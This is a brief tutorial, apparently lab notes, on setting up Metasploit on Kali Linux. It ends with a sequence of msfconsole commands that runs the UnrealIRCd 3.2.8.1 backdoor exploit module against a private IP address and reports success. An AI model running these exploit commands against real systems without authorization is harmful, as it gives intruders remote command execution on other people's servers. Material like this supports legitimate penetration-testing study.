# Setting up Metasploit (on Kali Linux)

1. update* exploit database

   ```
   $ msfupdate
   ```

2. **Start Postgresql and Metaploit services**

   ```
   $ service postgresql start
   $ service metasploit start
   ```

3. **Start Metasploit console**

   ```
   $ msfconsole
   ```

# Using Metasploit to exploit a vulnerability

**Example** : UnreallRCD 3.2.8.1 Backdoor Command Execution

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf > show options
msf > set RHOST 10.0.1.101
msf > exploit
```

Success!